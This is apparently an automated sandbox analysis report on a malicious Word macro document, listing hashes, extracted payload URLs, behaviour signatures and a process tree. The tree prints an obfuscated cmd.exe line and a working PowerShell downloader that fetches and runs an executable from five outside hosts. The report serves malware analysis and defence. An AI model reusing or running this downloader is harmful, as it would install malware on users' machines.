Analysis
-
max time kernel
134s -
max time network
140s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
-
submitted
28-04-2024 01:32
General
-
Target
0413f92d3b2f6300a0ed5d6d362ef09c_JaffaCakes118.doc
-
Size
65KB
-
MD5
0413f92d3b2f6300a0ed5d6d362ef09c
-
SHA1
e0ed8f26783e15a4fcc44b13997912295dc52bad
-
SHA256
58c6de98959ad1e8fa0c907b8132e557f516944676936af659f6c80b1ac2804e
-
SHA512
20ae21f5f8456c4cbb3a294f54aaf4c2ab7330a2d994f91eee7ac2f1a56b08697821af3158f3050d37878b166d8a9930ba12ccefb2f9339c87b921acef952388
-
SSDEEP
768:cpJcaUitGAlmrJpmxlzC+w99NBz+1o80cZBv0fNNfw/i9m57MI2:cptJlmrJpmxlRw99NBz+a8vBi
Malware Config
Extracted
http://abporter.org/zhniYMNIL
http://bearinmindstrategies.com/of7Cpb8
http://ondacapital.es/EwCyzzc
http://landspa.ir/Nl9U64Eg0
http://shoshana.ge/QwlUmzzVaF
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 6 IoCs
-
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Suspicious behavior: AddClipboardFormatListener 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 7 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0413f92d3b2f6300a0ed5d6d362ef09c_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /V^:ON/C"^se^t ^Ke= ^ ^ ^ ^ ^ ^ ^ }^}{hc^tac};^kaer^b^;zkw$ ^m^e^tI^-^e^kovn^I;)zk^w^$ ,^Z^UV$(^eliFdao^ln^woD^.a^z^l${^yrt{)j^FV$^ ni ZUV$(^hcaerof;'^e^xe^.^'^+q^pv$+'\^'^+c^ilbu^p:vne$=^z^kw$;^'^45^6^' =^ q^pv$;)'^@'(^t^ilp^S^.^'^F^aV^z^zm^U^lwQ/^eg.^ana^h^s^o^h^s//^:p^t^t^h@0gE4^6U^9^lN/ri^.^ap^sdn^al//^:ptt^h@cz^zyCwE/^s^e^.^la^t^i^pac^a^dno//^:^ptth^@^8^b^pC^7f^o/moc.se^ige^tarts^dni^mnira^e^b//^:^pt^th^@^LIN^M^Y^in^hz/gr^o.re^tr^o^pb^a//:^pt^th'=^jFV^$^;^tn^eilCb^eW.^teN tc^e^jb^o-^w^en^=azl^$ ^lleh^srewop&&^for /^L %^D ^in (3^6^7;^-1^;^0)^d^o s^e^t ^if=!^if!!^Ke:~%^D,1!&&i^f %^D ^l^ss ^1 c^a^l^l %^if:^*^if^!=%"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $lza=new-object Net.WebClient;$VFj='http://abporter.org/zhniYMNIL@http://bearinmindstrategies.com/of7Cpb8@http://ondacapital.es/EwCyzzc@http://landspa.ir/Nl9U64Eg0@http://shoshana.ge/QwlUmzzVaF'.Split('@');$vpq = '654';$wkz=$env:public+'\'+$vpq+'.exe';foreach($VUZ in $VFj){try{$lza.DownloadFile($VUZ, $wkz);Invoke-Item $wkz;break;}catch{}}3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
263KB
MD5ff0e07eff1333cdf9fc2523d323dd654
SHA177a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
SHA2563f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
SHA512b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
136KB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
15.8MB
-
Filesize
15.8MB
-
Filesize
15.8MB
-
Filesize
15.8MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
15.8MB
-
Filesize
15.8MB
-
Filesize
15.8MB
-
Filesize
15.8MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB